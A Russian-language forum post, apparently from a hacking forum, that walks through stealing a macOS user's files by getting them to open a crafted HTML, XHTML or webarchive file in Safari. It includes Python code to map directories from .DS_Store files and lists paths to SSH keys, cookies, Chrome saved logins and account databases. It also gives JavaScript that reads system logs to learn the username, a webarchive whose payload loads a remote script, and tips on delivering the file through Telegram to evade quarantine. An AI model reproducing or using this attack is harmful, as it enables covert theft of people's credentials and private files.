Как утащить данные пользователя macOS с помощью одного документа

  • Автор темы Gidroponika
  • Дата начала
G

Gidroponika

Представь ситуацию: ты открываешь HTML-документ, и через какое-то время файлы с твоего жесткого диска оказываются у злоумышленника, притом абсолютно незаметно. Документы, код, SSH-ключи, пароли… Словом, улетают все файлы, которые ты, как текущий системный пользователь, имеешь право читать. Скажешь, невозможно? Современный браузер должен тебя защитить? Да, но у некоторых из них есть свои особенности.

В общих чертах атака работает следующим образом.

  1. Пользователь открывает HTML-страницу в браузере.
  2. Браузер читает список имеющихся на компьютере пользователя файлов.
  3. Браузер читает «важные» файлы и загружает их на удаленный сервер злоумышленника. При этом для пользователя весь процесс остается незаметным.
Разделим атаку условно на два этапа:

  • получение информации о файлах удаленного компьютера;
  • само чтение и отправка на наш сервер.
На первом этапе мы должны каким-то образом узнать список интересующих нас файлов на компьютере пользователя. Проблема в том, что никакого внятного способа сделать это нет. Ни один браузер не даст тебе с HTML-страницы прочесть локальную директорию ~/ и список файлов на рабочем столе.

Тыкаться наугад — тоже не вариант: да, мы знаем несколько «важных» путей вроде ~/.ssh/id_rsa, но в большинстве случаев файловая система пользователя, открывающего нашу «злую» страницу, — темный лес.

На втором этапе мы, имея полный набор путей, должны каким-то образом выйти за границы песочницы браузера, прочесть локальные файлы и загрузить к себе на сервер.

Вся информация носит только ознакомительный характер. Ни автор, ни канал не несут ответственности за ее ненадлежащее использование.​


Извлекаем список файлов
MacOS имеет забавную особенность. Если ты откроешь директорию с файлами, операционная система создаст специальный скрытый файл — .DS_Store. Этот файл хранит настройки просмотра папки в macOS, включает в себя информацию о расположении окна папки, размере окна, опции просмотра, которые были выбраны (значки, список или таблица), и внешний вид значков в окне. Система создает эти файлы автоматически. Другими словами, операционная система кеширует информацию о файлах для быстрого отображения директории.

В .DS_Store попадают превью изображений (как скрытый файл Thumbs.db в Windows), но в отличие от Windows в нем также содержатся имена файлов и директорий. Достаточно зайти в директорию с файлами, и операционка тут же создаст .DS_Store.

image2.png

Служебный файл .DS_Store автоматически создается в директории, когда в нее заходишь
Что в этом примечательного? А то, что .DS_Store можно распарсить и получить названия всех файлов в каталоге. Для этого подойдет одноименный модуль DSStore для Python. Вот пример кода, реализующего чтение .DS_Store:

Код:
##!/usr/bin/env python
from ds_store import DSStore
import json
path = '/Users/USERNAME/.DS_Store'
def parse(file):
    filelist = []
    for i in file:
        if i.filename!='.':
            filelist.append(i.filename)
    return list(set(filelist))
d=DSStore.open(path, 'r+')
fileresult=parse(d)
print(json.dumps(fileresult))
for name in fileresult:
    try:
        d = DSStore.open(path + name+ '/.DS_Store', 'r+')
        fileresult = parse(d)
        all.append(fileresult)
        print(json.dumps(fileresult))
    except:
        pass


Сохраним этот код в файл parse_ds_store.py и запустим. В моем случае результат работы выглядит как-то так:

Код:
$ python parse_ds_store.py
["Documents", "Pictures", ".idm", "Desktop", "Music", ".oracle_jre_usage", "Public", "tmp", "Parallels", "MEGA", ".BurpSuite", "Downloads", ".config", ".cache", "Applications", ".bash_sessions", "Creative Cloud Files", "PycharmProjects", "Applications (Parallels)", "Dropbox", "Nextcloud", ".iterm2", ".Trash", "Scripts", "Movies", "MEGAsync Downloads", "Soft", ".local", ".ssh", "Library", ".pgadmin"]

Что мы видим? А мы видим имена файлов и папок в домашней директории. Узнав их, можно обращаться к каждой следующей директории, искать .DS_Store там и таким образом получать иерархию файлов и папок, не имея доступа к листингу директорий.

Для примера парсим домашнюю папку (~/.DS_Store), получаем подобное содержимое:

Код:
["Backups", "Soft", "Pictures", ".ssh" ...]
Обращаемся к ~/Backups/.DS_Store, получаем:
Код:
["2017", "2016", "2015", ...]
На следующей итерации ~/Backups/2017/.DS_Store:
Код:
["source", "sql", "static", ...]


И так далее.

Пара замечаний:

  • тебе нужно знать имя пользователя в системе;
  • файл .DS_Store создается только там, куда заходит пользователь.
В остальном все отлично работает. Теперь слушай дальше.





Предсказываем пути для чувствительных файлов
Что же еще есть ценного у пользователя? В первую очередь директория .ssh, куда обычно сваливаются закрытые ключи.

Для начала вспомним о таких путях:

  • ~/.ssh/id_rsa;
  • ~/.ssh/id_rsa.key;
  • ~/.ssh/id_rsa.pub;
  • ~/.ssh/known_hosts;
  • ~/.ssh/authorized_keys.
И .bash_history — история введенных в терминал команд еще никому не помешала!



Собираем куки и не только
Займемся сбором печенек. Во-первых, macOS имеет предсказуемые пути хранения данных об аккаунтах в директории.

  • ~/Library/Cookies/Cookies.binarycookies
  • ~/Library/Cookies/com.apple.Safari.cookies
Там же будут лежать cookie от Twitter, Skype и прочих приложений.

Захватим и данные о HSTS — там найдутся посещенные сайты, которые вернули заголовок HSTS. Лишним не будет!

Код:
~/Library/Cookies/HSTS.plist

Информацию об аккаунтах в системе тоже заберем с собой.

Код:
~/Library/Accounts/Accounts4.sqlite
Ну и не Safari единым, обычно различные файлы и конфиги установленного софта лежат в пути

Код:
~/Library/Application Support/

Мы заберем только файлики Chrome:

Код:
~/Library/Application Support/Google/Chrome/Default/Login Data
~/Library/Application Support/Google/Chrome/Default/Cookies
~/Library/Application Support/Google/Chrome/Default/History

А ты пошарься, вдруг где хранятся интересные файлы каких-нибудь FTP/SQL-клиентов или история сообщений мессенджеров.







Получение полных путей к файлам пользователя
Что забрать с собой, мы уже выяснили. Теперь попробуем собрать эти файлы с помощью Safari.
В Chrome, к примеру, с ходу читать локальные файлы с помощью JavaScript не выйдет. Чтобы это сработало, Chrome нужно предварительно запустить со специальным аргументом (--disable-web-security). Safari тоже предупреждает, что работать с file:// он не умеет.

image3.png

Просто так читать file:// в Safari нельзя
Однако если HTML не был скачан из интернета, Safari более лоялен к такому виду запросов — отправив с помощью XHR запрос к локальному файлу, мы получим его содержимое:

image1.png

…но если файл локальный — то можно!
Благодаря этой особенности, зная полный путь к файлу, мы можем загрузить его содержимое и отправить на удаленный сервер!

Но вот незадача — как получить полный путь, если мы не знаем имя пользователя? А ведь в /etc/passwd вообще нет логинов пользователей (я проверял, да)!

Чтобы узнать имя пользователя, мы проверяем два log-файла, которые появляются, едва ты установишь и настроишь ОС.

Это файлы /var/log/system.log и /var/log/install.log. Не будет в одном — скорее всего, будет в другом. Загружаем эти файлы в браузер и с помощью регулярного выражения получаем имя пользователя.

Вот JS-функция для извлечения имени пользователя из файлов логов:
Код:
function getUser() {
    var xhr = new XMLHttpRequest();
    try {
        xhr.open('GET', '/var/log/system.log;/https:%2f%2fgoogle.com/', false);
        xhr.send();
        return xhr.responseText.match(//Users/w+//g)[0];
    } catch (e) {
        xhr.open('GET', '/var/log/install.log;/https:%2f%2fgoogle.com/', false);
        xhr.send();
        return xhr.responseText.match(//Users/w+//g)[0];
    }
}

Отправляем файлы на сервер
А теперь соединяем первую часть статьи и возможность читать файлы. Для PoC делаем серверную часть, принимаем от пользователя путь и содержимое. Если это .DS_Store, отдаем еще пути на парсинг.

Можно попробовать сделать черные и белые списки, например чтобы не качать тяжелые фильмы или, наоборот, качать только файлы .docx.​


Но что делать, если в системе установлены другие браузеры? HTML будет открыт с помощью Chrome или FF, и ничего не произойдет.

К счастью, есть пара расширений, которые открываются только Safari. Это XHTM и webarchive. Если с XHTM все понятно — это веб-страница на основе XML (а в нем можно выполнять JS), то с webarchive немного сложнее. Он имеет два формата, один из которых можно легко скрафтить вручную:

Код:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>WebMainResource</key>
    <dict>
        <key>WebResourceData</key>
        <data>
            PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxzY3JpcHQgc3JjPSdodHRwczo
            vL2JvMG9tLnJ1L3NhZmFyaV9wb2MvcmVhZGZpbGUuanMnPjwvc2NyaXB0Pj
            wvYm9keT48L2h0bWw+
        </data>
        <key>WebResourceFrameName</key>
        <string></string>
        <key>WebResourceMIMEType</key>
        <string>text/html</string>
        <key>WebResourceTextEncodingName</key>
        <string>UTF-8</string>
        <key>WebResourceURL</key>
        <string>file:///</string>
    </dict>
</dict>
</plist>


где data — это страница в Base64, в каждой строке которой 59 символов.



Возможности обхода ограничений флага Where from
По умолчанию для файлов, переданных по Сети, есть ограничение на выполнение такого кода.

image5.png

Срабатывает защита
Это значит, что, если просто послать файл по почте, он может не сработать.

Хорошая новость заключается в том, что не все программы выставляют флаг при скачивании файла. К примеру, версия Telegram для macOS этого не делает. В ряде тестов нам удалось прочесть файлы пользователя «вредоносным» файлом XHTM, переданным через десктопную версию Telegram для macOS, причем без архивирования и защиты паролем.

image6.png

PoC, переданный через Telegram Desktop, сработал!
Наверняка ты сможешь найти и другие примеры. И конечно же, готовый файл можно подсунуть жертве на физическом носителе во время проведения социотехнического тестирования.

Готовый сервер, а также два вида HTML-файла с полезной нагрузкой найдешь в этом

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

.





Защита
На данный момент защиты от этой атаки нет. Могу посоветовать лишь смотреть, что открываешь, скачав из интернета, и по возможности не использовать браузер Safari. Apple, очевидно, не считает эту проблему уязвимостью, и на данный момент о патче ничего не слышно. Так что используй эту силу с умом, Люк!
 
Название темы
Автор Заголовок Раздел Ответы Дата
Emilio_Gaviriya Как вычислить местоположение по IP-адресу? Статьи 0
Emilio_Gaviriya Статья Как работает JSON Web Token. Анонимность и приватность 0
Emilio_Gaviriya Статья Как происходит ICMP атака. Уязвимости и взлом 0
Emilio_Gaviriya Статья Как ловить хакеров на живца. Уязвимости и взлом 0
Emilio_Gaviriya Как работать с Search4Faces. Статьи 0
Emilio_Gaviriya Статья Как найти Wi-Fi точки. WiFi/Wardriving/Bluejacking 0
Emilio_Gaviriya Статья Как распространяются вирусы? Вирусология 0
Emilio_Gaviriya Статья Как найти человека? Полезные статьи 4
Emilio_Gaviriya Статья Как обнаружить 10 популярных техник пентестеров. Уязвимости и взлом 0
Emilio_Gaviriya Статья Как работает Анти-DDoS. Уязвимости и взлом 0
Emilio_Gaviriya Статья Как получают привязанный к Telegram мобильный номер. Анонимность и приватность 0
Emilio_Gaviriya Статья Как заразить компьютер с помощью обычного ярлыка. Полезные статьи 0
Emilio_Gaviriya Статья Защита конфиденциальности: Как сбросить данные на Android в экстренных ситуациях. Полезные статьи 0
Emilio_Gaviriya Статья Безопасность в сети: Как избежать угроз при использовании коротких ссылок. Уязвимости и взлом 0
Emilio_Gaviriya Статья Как вас деанонимизируют силовики. Анонимность и приватность 0
Emilio_Gaviriya Статья Как следит провайдер? Анонимность и приватность 1
Emilio_Gaviriya Статья Как вычисляют мобильник? Анонимность и приватность 0
Support81 Как хакеры взломали мир: 14 самых громких взломов 2023 года Новости в сети 1
DELTABEK Как зарабатывать 100.000 рублей в день на арбитраже криптовалют? Способы заработка 5
Support81 Как минимум 7 друзей ShadowSyndicate: компании всего мира под прицелом киберальянса Новости в сети 0
Support81 Как взломать сайт за 5 минут: уязвимость в плагине Ultimate Member дает полный доступ к WordPress Новости в сети 0
Traven Как создать свою криптовалюту без знаний и зарабатывать 40000$ в месяц (паста) Способы заработка 0
yaNaSvyazi [Wealth Whispers] [Udemy] Как использовать ChatGPT для YouTube (2023) Способы заработка 0
yaNaSvyazi [Виталий Бруновский] [Udemy] Как заработать с помощью ChatGPT? (2023) Способы заработка 0
yaNaSvyazi [Катерина Яшина] Как заработать на нейросетях первым (2023) Способы заработка 0
alexgoldboy Как вернуть убытки на Pocket Option? Ищу работу. Предлагаю свои услуги. 1
Gorsilov Подскажите что с етими базами делать? и Как? Вопросы и интересы 0
D Как поставить лайк? или убрать хайд? может ли не показываться кнопка лайка? Вопросы и интересы 7
yaNaSvyazi Как заработать на продаже курсов подготовки к ЕГЭ Способы заработка 0
S Как отменить отправленную транзакцию Bitcoin Свободное общение и флейм 0
A Как взломать аккаунт в инстограме Вопросы и интересы 1
I Как слать Zelle с Chase Полезные статьи 0
L Как отменить отправленную транзакцию BTC Корзина 0
D Как найти клон страницы ВК Вопросы и интересы 1
N Как подключится к видеокамерам сервера зная пароль отт маршрутизатора? Вопросы и интересы 5
M Закрыто Обучение Google ADS. Как лить на любые фейки без суспенда. + Продам логи без соседей + гугл разбаны ручной фарм Корзина 2
semsvm Интересно Как можно заработать на кошельке Payeer. Способы заработка 1
S Как сейчас купить доллары в РФ? Свободное общение и флейм 3
AHAHAC Интересно Как просто начать скрытый майнинг Способы заработка 1
Alldied Как заработать около $1000 на американской бирже. Способы заработка 1
Dolphin Anty Как выбрать антидетект браузер ❓ Продажа софта 0
F Промокоды OZON. Как покупать с максимальной выгодой, руководство. Другое 0
W Слив [Blackhatworld] Как Зарабатывать Деньги С Youtube И Content Locker (2021) Способы заработка 0
D Как из обычного шнура сделать шнур juice jacking? Уязвимости и взлом 7
D Как взломать телефон с помощью зарядки juice jacking? Уязвимости и взлом 2
S ⏩ Как запустить свой товарный бизнес и начать зарабатывать, кейс. Способы заработка 0
W [Алексей Лунин] Как зарабатывать 30000-45000 на продажах партнерских товаров в яндекс директе (2021) Способы заработка 0
M Как получить кредит с США? Вопросы и интересы 1
S Интересно Как зарабатывать на Mobile Rewards. Фея с подарками. Способы заработка 0
K Как защититься от фишинга? Вопросы и интересы 9

Название темы